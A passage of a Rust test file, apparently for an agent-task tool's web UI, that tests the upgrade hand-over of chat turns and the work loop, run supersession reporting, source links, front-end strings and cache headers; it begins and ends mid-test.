15970 progress.advance(crate::updater::Stage::Parking);
15971 let hours = Duration::from_secs(3 * 3600);
15972 progress.started_at = Timestamp::now() - hours;
15973 progress.updated_at = Timestamp::now() - hours;
15974 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15975 let _lease = crate::updater::LeaseGuard::enter(
15976 fx.home.path(),
15977 Some("20260905-000000-cd51".to_owned()),
15978 );
15979
15980 let health = fx.get("/api/health").await.json();
15981 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15982 assert!(health["upgrade"]["stuck_kind"].is_null());
15983 assert_eq!(health["upgrade"]["handover_alive"], true);
15984 let waiting_on = health["upgrade"]["waiting_on"]
15985 .as_str()
15986 .expect("waiting_on");
15987 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15988 }
15989
15990 fn idle_ui(home: &TempDir) -> Ui {
15991 let runs = home.path().join("runs");
15992 std::fs::create_dir_all(&runs).expect("runs dir");
15993 Ui::new(
15994 Queue::at(home.path().join("queue")),
15995 Questions::at(home.path().join("questions")),
15996 Talks::at(home.path().join("talks")),
15997 runs,
15998 home.path().to_path_buf(),
15999 PathBuf::from("/repo/magi"),
16000 )
16001 .with_launch(launch_idle)
16002 }
16003
16004 async fn park_fixture(
16005 home: &TempDir,
16006 ) -> (
16007 Ui,
16008 Arc<Mutex<LoopState>>,
16009 Arc<Mutex<TalkTurns>>,
16010 tokio::task::JoinHandle<std::io::Result<()>>,
16011 ) {
16012 let ui = idle_ui(home);
16013 let looping = ui.looping();
16014 let turns = ui.turns();
16015 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16016 .await
16017 .expect("bind loopback");
16018 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
16019 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16020 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
16021 (ui, looping, turns, served)
16022 }
16023
16024 #[tokio::test]
16028 async fn hand_over_waits_for_a_running_chat_turn() {
16029 let home = TempDir::new().expect("temp home");
16030 let (ui, looping, turns, served) = park_fixture(&home).await;
16031 let ui = Arc::new(ui);
16032 let id = "20260901-000000-chat";
16033 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16034
16035 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
16036 let handover = tokio::spawn({
16037 let home = home.path().to_path_buf();
16038 let turns = Arc::clone(&turns);
16039 let calls = Arc::clone(&calls);
16040 async move {
16041 hand_over(
16042 &home,
16043 &looping,
16044 &turns,
16045 &|_: &[String]| Duration::from_secs(60),
16046 served,
16047 move |_| {
16048 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16049 Ok(1)
16050 },
16051 )
16052 .await
16053 }
16054 });
16055
16056 let waiting = async {
16057 for _ in 0..200 {
16058 if crate::updater::read_progress(home.path())
16059 .is_some_and(|p| p.parked_talks == [id.to_owned()])
16060 {
16061 return;
16062 }
16063 tokio::time::sleep(Duration::from_millis(25)).await;
16064 }
16065 panic!("the park never named the chat turn");
16066 };
16067 waiting.await;
16068 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16069
16070 let refused = ui.begin_talk_turn("20260901-000000-late").err();
16073 assert!(
16074 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
16075 "a direct start says an upgrade is in progress"
16076 );
16077 assert!(
16078 ui.begin_queued_talk_turn("20260901-000000-late")
16079 .expect("queued claim")
16080 .is_none()
16081 );
16082 assert!(matches!(
16083 ui.begin_talk_turn_unless_pending("20260901-000000-late")
16084 .expect("start"),
16085 TalkTurnStart::Busy
16086 ));
16087 assert_eq!(turns.lock().unwrap().live.len(), 1);
16088
16089 let progress = crate::updater::read_progress(home.path()).expect("progress");
16091 let view = upgrade_progress_view(&ui, progress);
16092 assert!(
16093 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
16094 "{:?}",
16095 view.waiting_on
16096 );
16097
16098 assert!(!handover.is_finished());
16099 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16100 drop(turn);
16101 handover.await.expect("join").expect("hand over");
16102 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16103 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
16104 }
16105
16106 #[tokio::test]
16109 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
16110 let home = TempDir::new().expect("temp home");
16111 let (ui, looping, turns, served) = park_fixture(&home).await;
16112 let ui = Arc::new(ui);
16113 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
16115 lock_or_recover(&looping).live = Some(Live {
16116 stop: daemon::Stop::new(),
16117 handle: tokio::spawn(async move {
16118 let _ = loop_ended.await;
16119 }),
16120 opts: daemon::Opts::default(),
16121 });
16122
16123 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
16124 let handover = tokio::spawn({
16125 let home = home.path().to_path_buf();
16126 let turns = Arc::clone(&turns);
16127 let calls = Arc::clone(&calls);
16128 async move {
16129 hand_over(
16130 &home,
16131 &looping,
16132 &turns,
16133 &|_: &[String]| Duration::from_secs(60),
16134 served,
16135 move |_| {
16136 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16137 Ok(1)
16138 },
16139 )
16140 .await
16141 }
16142 });
16143
16144 let reached = async {
16145 for _ in 0..200 {
16146 if crate::updater::read_progress(home.path())
16147 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
16148 {
16149 return;
16150 }
16151 tokio::time::sleep(Duration::from_millis(25)).await;
16152 }
16153 panic!("the hand-over never reached parking");
16154 };
16155 reached.await;
16156
16157 assert!(!turns.lock().unwrap().parking);
16159 let turn = ui
16160 .begin_talk_turn("20260901-000000-chat")
16161 .expect("claim")
16162 .expect("a turn can start while the loop parks");
16163
16164 end_loop.send(()).expect("loop still waiting");
16166 for _ in 0..200 {
16167 if turns.lock().unwrap().parking {
16168 break;
16169 }
16170 tokio::time::sleep(Duration::from_millis(25)).await;
16171 }
16172 assert!(
16173 turns.lock().unwrap().parking,
16174 "closed once the loop is done"
16175 );
16176 let refused = ui.begin_talk_turn("20260901-000000-late").err();
16177 assert!(
16178 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
16179 "no turn starts once the loop is done"
16180 );
16181 assert!(
16182 ui.begin_queued_talk_turn("20260901-000000-late")
16183 .expect("queued claim")
16184 .is_none()
16185 );
16186 assert!(!handover.is_finished());
16187 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16188
16189 drop(turn);
16190 handover.await.expect("join").expect("hand over");
16191 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16192 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
16193 }
16194
16195 #[tokio::test]
16198 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
16199 let home = TempDir::new().expect("temp home");
16200 let (ui, looping, turns, served) = park_fixture(&home).await;
16201 let id = "20260901-000000-stuk";
16202 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16203
16204 let calls = std::sync::atomic::AtomicUsize::new(0);
16205 hand_over(
16206 home.path(),
16207 &looping,
16208 &turns,
16209 &|_: &[String]| Duration::from_millis(300),
16210 served,
16211 |_| {
16212 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16213 Ok(1)
16214 },
16215 )
16216 .await
16217 .expect("hand over");
16218 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16219
16220 let progress = crate::updater::read_progress(home.path()).expect("progress");
16221 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
16222 assert!(
16223 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
16224 "{:?}",
16225 progress.detail
16226 );
16227 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
16228 assert!(
16229 log.contains("handing over anyway") && log.contains(id),
16230 "{log}"
16231 );
16232 }
16233
16234 #[tokio::test]
16237 async fn drain_loop_starts_no_turn_while_parking() {
16238 let tmp = TempDir::new().expect("tempdir");
16239 let repo = tmp.path().join("repo");
16240 std::fs::create_dir_all(&repo).expect("repo dir");
16241 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16242 let home = TempDir::new().expect("temp home");
16243 let talks = Talks::at(home.path().join("talks"));
16244 let ui = Ui::new(
16245 Queue::at(home.path().join("queue")),
16246 Questions::at(home.path().join("questions")),
16247 talks.clone(),
16248 home.path().join("runs"),
16249 home.path().to_path_buf(),
16250 repo.clone(),
16251 )
16252 .with_worktrees_root(home.path().join("wt"));
16253 let cfg = config_for(&repo).await.expect("discover config");
16254 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16255 let id = talk.id.clone();
16256 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
16257 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
16258 let turns = ui.turns();
16259 let parking = ParkingTurns::begin(&turns);
16260
16261 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
16262
16263 assert!(
16264 turns.lock().unwrap().live.is_empty(),
16265 "the slot is given up"
16266 );
16267 let fresh = talks.get(&id).expect("talk");
16268 assert_eq!(fresh.pending, "later", "the draft is still queued");
16269 assert!(fresh.turns.is_empty(), "no turn ran");
16270 drop(parking);
16271 }
16272
16273 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
16275 let looping = ui.looping();
16276 let turns = ui.turns();
16277 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16278 .await
16279 .expect("bind loopback");
16280 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
16281 let told = std::sync::Mutex::new(None);
16282 hand_over(
16283 home.path(),
16284 &looping,
16285 &turns,
16286 &|_: &[String]| Duration::from_secs(5),
16287 served,
16288 |resume| {
16289 *told.lock().unwrap() = Some(resume);
16290 Ok(1)
16291 },
16292 )
16293 .await
16294 .expect("hand over");
16295 told.into_inner().unwrap().expect("successor was started")
16296 }
16297
16298 #[tokio::test]
16299 async fn a_running_loop_is_resumed_by_the_successor() {
16300 let home = TempDir::new().expect("temp home");
16301 let ui = idle_ui(&home);
16302 ui.start_loop(None).expect("start");
16303 ui.park_for_upgrade().expect("park");
16304 for _ in 0..500 {
16306 if !ui.loop_view(None).running {
16307 break;
16308 }
16309 tokio::time::sleep(Duration::from_millis(2)).await;
16310 }
16311 assert!(handed_over(&home, ui).await, "a running loop must resume");
16312
16313 let successor = idle_ui(&home);
16314 assert!(!successor.loop_view(None).running);
16315 assert!(successor.resume_after_handover(true));
16316 assert!(successor.loop_view(None).running);
16317 successor.stop_loop(None, false).expect("stop");
16318 }
16319
16320 #[tokio::test]
16321 async fn a_second_upgrade_request_keeps_the_resume_intent() {
16322 let home = TempDir::new().expect("temp home");
16323 let ui = idle_ui(&home);
16324 ui.start_loop(None).expect("start");
16325 ui.park_for_upgrade().expect("first park");
16326 ui.park_for_upgrade().expect("second park");
16327 assert!(handed_over(&home, ui).await);
16328 }
16329
16330 #[tokio::test]
16331 async fn a_stop_during_the_handover_wait_is_honoured() {
16332 let home = TempDir::new().expect("temp home");
16333 let ui = idle_ui(&home);
16334 ui.start_loop(None).expect("start");
16335 ui.park_for_upgrade().expect("park");
16336 ui.stop_loop(None, false).expect("stop");
16337 assert!(!handed_over(&home, ui).await);
16338 }
16339
16340 #[tokio::test]
16341 async fn an_idle_loop_stays_stopped_across_the_handover() {
16342 let home = TempDir::new().expect("temp home");
16343 let ui = idle_ui(&home);
16344 ui.park_for_upgrade().expect("park");
16345 assert!(!handed_over(&home, ui).await);
16346
16347 let successor = idle_ui(&home);
16348 assert!(!successor.resume_after_handover(false));
16349 assert!(!successor.loop_view(None).running);
16350 }
16351
16352 #[tokio::test]
16353 async fn a_loop_the_operator_stopped_is_not_resumed() {
16354 let home = TempDir::new().expect("temp home");
16355 let ui = idle_ui(&home);
16356 ui.start_loop(None).expect("start");
16357 ui.stop_loop(None, false).expect("stop");
16358 ui.park_for_upgrade().expect("park");
16359 assert!(!handed_over(&home, ui).await);
16360 }
16361
16362 #[test]
16363 fn only_an_explicit_one_requests_a_resume() {
16364 assert!(!resume_requested(None));
16365 assert!(!resume_requested(Some("0".into())));
16366 assert!(!resume_requested(Some("".into())));
16367 assert!(resume_requested(Some("1".into())));
16368 }
16369
16370 #[test]
16371 fn the_upgrade_button_arms_before_it_restarts_anything() {
16372 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
16375 assert!(APP_JS.contains("Replace the binary and restart?"));
16376 assert!(APP_JS.contains("function confirmed("));
16377 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
16382 assert!(
16386 APP_JS.contains("Parking, then restarting"),
16387 "the button says what it is waiting for"
16388 );
16389 assert!(APP_JS.contains("if (!out.to)"));
16392 }
16393
16394 #[test]
16395 fn stopping_the_loop_arms_but_starting_does_not() {
16396 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
16399 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
16400 assert!(APP_JS.contains("confirmed(button, question)"));
16401 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
16404 assert!(APP_JS.contains("const label = btn.textContent;"));
16405 assert!(!APP_JS.contains("Neither direction is guarded"));
16406 }
16407
16408 #[test]
16409 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
16410 assert!(
16411 APP_JS.contains("state.health.version"),
16412 "the operator wants to know what is running even with nothing newer"
16413 );
16414 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
16415 }
16416
16417 #[test]
16418 fn the_upgrade_button_names_its_destination() {
16419 assert!(
16420 APP_JS.contains("`Update to ${update.to}`"),
16421 "pressing the button should not be a surprise about what it moves to"
16422 );
16423 }
16424
16425 #[test]
16426 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
16427 for stage in ["downloading", "replaced", "parking", "restarting"] {
16428 assert!(
16429 APP_JS.contains(&format!("\"{stage}\"")),
16430 "the phone must be able to tell {stage} apart from the others"
16431 );
16432 }
16433 assert!(APP_JS.contains(".waiting_on"));
16434 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
16439 assert!(APP_JS.contains("reconnects on its own"));
16440 }
16441
16442 #[test]
16443 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
16444 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
16453 ..APP_JS.find("function upgrade(").expect("upgrade")];
16454 assert!(
16455 !body.contains(
16456 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
16457 ),
16458 "a failed upgrade must not take the whole strip over the way it used to"
16459 );
16460 assert!(
16461 body.contains("upgradeFailNote"),
16462 "the failure has to reach the loop's own note instead"
16463 );
16464 assert_eq!(
16468 body.matches("upgradeFailNote].filter(Boolean).join")
16469 .count(),
16470 2,
16471 "both loop-why writers (quiet and control) must fold the note in"
16472 );
16473 }
16474
16475 #[test]
16476 fn an_overdue_upgrade_eventually_asks_for_a_human() {
16477 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
16480 assert!(APP_JS.contains("function upgradeOverdue("));
16481 }
16482
16483 #[test]
16484 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
16485 assert!(
16486 APP_JS.contains("Updated to ${upgradeInfo.to"),
16487 "the operator who asked for the restart wants to know it worked"
16488 );
16489 }
16490
16491 #[test]
16492 fn an_error_is_visible_from_where_the_button_is() {
16493 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
16498 ..APP_CSS.find(".alert-text").expect(".alert-text")];
16499 assert!(
16500 alert.contains("position: fixed"),
16501 "an error about the thing under your thumb has to be visible from \
16502 where your thumb is: {alert}"
16503 );
16504 assert!(
16505 alert.contains("z-index: 25"),
16506 "above the dock (20) and the run-actions FAB (15), so neither \
16507 buries it: {alert}"
16508 );
16509 assert!(
16510 alert.contains("var(--tap)"),
16511 "and clear of the dock and the home indicator: {alert}"
16512 );
16513 assert!(
16516 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
16517 "the FAB's column stays free: {alert}"
16518 );
16519 }
16520
16521 #[tokio::test]
16522 async fn an_older_attempt_says_what_replaced_it() {
16523 let fx = Fixture::start().await;
16524 let q = fx.queue();
16525 let runs = fx.runs();
16526 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16527 write_run(&runs, first, RunStatus::Stalled);
16528 write_run(&runs, second, RunStatus::Blocked);
16529
16530 let mut t = Task::new(
16531 "one task".to_owned(),
16532 "do it".to_owned(),
16533 PathBuf::from("/repo"),
16534 Source::Human,
16535 );
16536 t.runs = vec![first.to_owned(), second.to_owned()];
16537 q.put(&mut t).expect("put");
16538
16539 let rows = fx.get("/api/runs").await.json();
16543 let by = |short: &str| -> Value {
16544 rows.as_array()
16545 .unwrap()
16546 .iter()
16547 .find(|r| r["short"] == short)
16548 .cloned()
16549 .unwrap_or(Value::Null)
16550 };
16551 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
16552 assert!(
16553 by("bbbb")["superseded_by"].is_null(),
16554 "the latest attempt is not superseded by anything"
16555 );
16556 assert!(APP_JS.contains("run.superseded_by"));
16558 assert!(APP_JS.contains("Superseded by"));
16559 }
16560
16561 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
16562 let mut t = Task::new(
16563 "one task".to_owned(),
16564 "do it".to_owned(),
16565 PathBuf::from("/repo"),
16566 Source::Human,
16567 );
16568 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16569 t.status = status;
16570 t
16571 }
16572
16573 #[test]
16574 fn source_link_picks_the_page_that_filed_the_task() {
16575 let agent = |node: &str| Source::Agent {
16576 run: "20260904-014455-ab12".to_owned(),
16577 node: node.to_owned(),
16578 };
16579 let chat = source_link(&agent("chat")).expect("chat link");
16580 assert_eq!(chat.kind, "chat");
16581 assert_eq!(chat.id, "20260904-014455-ab12");
16582 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
16583 let run = source_link(&agent("implement")).expect("run link");
16584 assert_eq!(
16585 (run.kind, run.href.as_str()),
16586 ("run", "#/runs/20260904-014455-ab12")
16587 );
16588 assert_eq!(source_link(&Source::Human), None);
16589 assert_eq!(
16590 source_link(&Source::Issue {
16591 number: 3,
16592 repo: "o/r".to_owned()
16593 }),
16594 None
16595 );
16596 let odd = source_link(&Source::Agent {
16597 run: "a b/c".to_owned(),
16598 node: "chat".to_owned(),
16599 })
16600 .expect("link");
16601 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
16602 }
16603
16604 #[test]
16605 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
16606 assert!(
16607 !APP_JS.contains("src.node === \"chat\""),
16608 "inline href rule is back"
16609 );
16610 assert!(
16611 APP_JS.matches("sourceLinkOf(").count() >= 4,
16612 "helper must serve every page"
16613 );
16614 assert!(
16615 APP_JS.matches("openChatLink(").count() >= 3,
16616 "the run page still needs its explicit chat link"
16617 );
16618 assert!(
16619 !APP_JS.contains("const openChat = el("),
16620 "the Queue card duplicates its source label link again"
16621 );
16622 assert!(
16623 APP_JS.contains("metaKids.push(link ? el(\"a\""),
16624 "the task page must link a chat source label too"
16625 );
16626 }
16627
16628 #[test]
16629 fn task_ref_carries_the_source_link_for_a_chat_task() {
16630 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16631 t.source = Source::Agent {
16632 run: "20260904-014455-ab12".to_owned(),
16633 node: "chat".to_owned(),
16634 };
16635 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
16636 let v = serde_json::to_value(&out).expect("json");
16637 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
16638 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
16639 assert_eq!(v["source_label"], t.source.label());
16640
16641 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16642 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
16643 .expect("json");
16644 assert!(v["source_link"].is_null(), "{v}");
16645 }
16646
16647 #[test]
16648 fn task_view_serializes_source_link() {
16649 let mut t = Task::new(
16650 "t".to_owned(),
16651 "t".to_owned(),
16652 PathBuf::from("/repo"),
16653 Source::Agent {
16654 run: "20260901-000000-aaaa".to_owned(),
16655 node: "implement".to_owned(),
16656 },
16657 );
16658 t.runs.clear();
16659 let v = serde_json::to_value(TaskView::from(t)).expect("json");
16660 assert_eq!(v["source_link"]["kind"], "run", "{v}");
16661 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
16662 }
16663
16664 #[tokio::test]
16665 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
16666 let fx = Fixture::start().await;
16667 let runs = fx.runs();
16668 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16669 write_run(&runs, old, RunStatus::Blocked);
16670 write_run(&runs, new, RunStatus::Merged);
16671 let mut t = outcome_task(&[old, new], TaskStatus::Done);
16672 fx.queue().put(&mut t).expect("put");
16673
16674 let view = fx.get(&format!("/api/runs/{old}")).await.json();
16675 let task = &view["task"];
16676 assert_eq!(task["status"], "done");
16677 assert_eq!(task["is_latest"], false);
16678 assert_eq!(task["latest"]["short"], "bbbb");
16679 assert_eq!(task["finished_by"]["id"], new);
16680 assert_eq!(task["finished_by"]["outcome"], "merged");
16681 assert_eq!(task["closed_by_hand"], false);
16682 assert_eq!(view["status"], "blocked", "the run keeps its own status");
16683 assert!(APP_JS.contains("finished_by"));
16684 assert!(APP_JS.contains("superseded by run"));
16685 }
16686
16687 #[tokio::test]
16688 async fn the_latest_run_reports_a_held_task_without_a_successor() {
16689 let fx = Fixture::start().await;
16690 let runs = fx.runs();
16691 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16692 write_run(&runs, old, RunStatus::Stalled);
16693 write_run(&runs, new, RunStatus::Blocked);
16694 let mut t = outcome_task(&[old, new], TaskStatus::Held);
16695 fx.queue().put(&mut t).expect("put");
16696
16697 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
16698 assert_eq!(task["status"], "held");
16699 assert_eq!(task["is_latest"], true);
16700 assert!(task["latest"].is_null());
16701 assert!(task["finished_by"].is_null());
16702 assert_eq!(task["closed_by_hand"], false);
16703 }
16704
16705 #[tokio::test]
16706 async fn a_direct_run_has_no_task_outcome() {
16707 let fx = Fixture::start().await;
16708 let runs = fx.runs();
16709 let id = "20260901-000000-aaaa";
16710 write_run(&runs, id, RunStatus::Blocked);
16711 let view = fx.get(&format!("/api/runs/{id}")).await.json();
16712 assert!(view["task"].is_null());
16713 }
16714
16715 #[test]
16716 fn task_outcome_does_not_guess_a_finishing_run() {
16717 let a = "20260901-000000-aaaa";
16718 let b = "20260901-000000-bbbb";
16719 let c = "20260901-000000-cccc";
16720 let dir = tempfile::tempdir().expect("tempdir");
16721 write_run(dir.path(), a, RunStatus::Blocked);
16722 write_run(dir.path(), b, RunStatus::VerifiedNoop);
16723 let read = |id: &str| read_run(dir.path(), id).ok();
16725 let t = outcome_task(&[a, b, c], TaskStatus::Done);
16728 let out = task_outcome(&t, a, 3, read);
16729 assert!(out.finished_by.is_none());
16730 assert!(out.closed_by_hand);
16731 let latest = out.latest.expect("latest");
16732 assert_eq!(latest.id, c);
16733 assert_eq!(latest.status, None);
16734 assert_eq!(latest.outcome, "record unreadable");
16735
16736 write_run(dir.path(), c, RunStatus::Ready);
16738 let t = outcome_task(&[a, c], TaskStatus::Done);
16739 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16740 assert_eq!(out.finished_by.expect("finisher").id, c);
16741 assert!(!out.closed_by_hand);
16742
16743 let t = outcome_task(&[a, b, a], TaskStatus::Held);
16745 assert!(task_outcome(&t, a, 3, read).is_latest);
16746 }
16747
16748 #[tokio::test]
16749 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16750 let fx = Fixture::start().await;
16755 let q = fx.queue();
16756 let runs = fx.runs();
16757 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16758 write_run(&runs, first, RunStatus::Blocked);
16759 write_run(&runs, second, RunStatus::Merged);
16760
16761 let mut t = Task::new(
16762 "one task".to_owned(),
16763 "do it".to_owned(),
16764 PathBuf::from("/repo"),
16765 Source::Human,
16766 );
16767 t.runs = vec![first.to_owned(), second.to_owned()];
16768 q.put(&mut t).expect("put");
16769
16770 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16771 assert_eq!(earlier["superseded_by"], "dddd");
16772 assert_eq!(earlier["latest_attempt"]["id"], second);
16773 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16774 assert_eq!(
16775 earlier["latest_attempt"]["resolved"], true,
16776 "the run that replaced it landed, so this one reads as settled"
16777 );
16778
16779 let later = fx.get(&format!("/api/runs/{second}")).await.json();
16780 assert!(
16781 later["superseded_by"].is_null(),
16782 "the latest attempt is not superseded by anything"
16783 );
16784 assert!(
16785 later["latest_attempt"].is_null(),
16786 "the latest attempt has no later attempt of its own"
16787 );
16788
16789 assert!(APP_JS.contains("run.latest_attempt"));
16796 assert!(APP_JS.contains("data-superseded"));
16797 assert!(APP_JS.contains("#/runs/${latest.id}"));
16798 }
16799
16800 #[tokio::test]
16801 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16802 let fx = Fixture::start().await;
16808 let q = fx.queue();
16809 let runs = fx.runs();
16810 let (a, b, c) = (
16811 "20260901-000000-aaaa",
16812 "20260901-000000-bbbb",
16813 "20260901-000000-cccc",
16814 );
16815 write_run(&runs, a, RunStatus::Blocked);
16816 write_run(&runs, b, RunStatus::Blocked);
16817 write_run(&runs, c, RunStatus::Merged);
16818
16819 let mut t = Task::new(
16820 "retried twice".to_owned(),
16821 "do it".to_owned(),
16822 PathBuf::from("/repo"),
16823 Source::Human,
16824 );
16825 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16826 q.put(&mut t).expect("put");
16827
16828 let view = fx.get(&format!("/api/runs/{a}")).await.json();
16829 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16830 assert_eq!(
16831 view["latest_attempt"]["id"], c,
16832 "the chain's current head, not the intermediate Blocked retry"
16833 );
16834 assert_eq!(view["latest_attempt"]["resolved"], true);
16835
16836 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16837 assert_eq!(mid["latest_attempt"]["id"], c);
16838 assert_eq!(mid["latest_attempt"]["resolved"], true);
16839 }
16840
16841 #[tokio::test]
16842 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16843 let fx = Fixture::start().await;
16844 let q = fx.queue();
16845 let runs = fx.runs();
16846
16847 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16850 write_run(&runs, still_blocked_a, RunStatus::Blocked);
16851 write_run(&runs, still_blocked_b, RunStatus::Blocked);
16852 let mut t1 = Task::new(
16853 "still stuck".to_owned(),
16854 "do it".to_owned(),
16855 PathBuf::from("/repo"),
16856 Source::Human,
16857 );
16858 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16859 q.put(&mut t1).expect("put");
16860 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16861 assert_eq!(view1["latest_attempt"]["resolved"], false);
16862 assert_eq!(view1["latest_attempt"]["status"], "blocked");
16863 assert_eq!(view1["latest_attempt"]["done"], true);
16864
16865 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16867 write_run(&runs, run_a, RunStatus::Blocked);
16868 write_run(&runs, run_b, RunStatus::Implementing);
16869 let mut t3 = Task::new(
16870 "retrying".to_owned(),
16871 "do it".to_owned(),
16872 PathBuf::from("/repo"),
16873 Source::Human,
16874 );
16875 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16876 q.put(&mut t3).expect("put");
16877 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16878 assert_eq!(view3["latest_attempt"]["id"], run_b);
16879 assert_eq!(view3["latest_attempt"]["resolved"], false);
16880 assert_eq!(view3["latest_attempt"]["done"], false);
16881
16882 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16887 write_run(&runs, noop_a, RunStatus::Blocked);
16888 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16889 let mut t2 = Task::new(
16890 "claims done".to_owned(),
16891 "do it".to_owned(),
16892 PathBuf::from("/repo"),
16893 Source::Human,
16894 );
16895 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16896 q.put(&mut t2).expect("put");
16897 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16898 assert_eq!(
16899 view2["latest_attempt"]["resolved"], false,
16900 "an unverified no-op claim must not read as a confirmed finish"
16901 );
16902
16903 assert!(APP_JS.contains("latest.resolved"));
16906 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16909 assert!(APP_JS.contains("Latest attempt: "));
16910 assert!(APP_JS.contains("in flight"));
16911 assert!(APP_JS.contains("not resolved"));
16912 }
16913
16914 #[tokio::test]
16915 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16916 let fx = Fixture::start().await;
16917 let js = fx.get("/app.js").await;
16923 assert_eq!(js.status, 200);
16924 let tag = js
16925 .header("etag")
16926 .expect("an etag to revalidate against")
16927 .to_owned();
16928 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16929 assert_eq!(
16930 js.header("cache-control"),
16931 Some("no-cache, must-revalidate"),
16932 "the phone has to ask every time"
16933 );
16934
16935 let again = fx
16938 .get_with("/app.js", &[("if-none-match", tag.as_str())])
16939 .await;
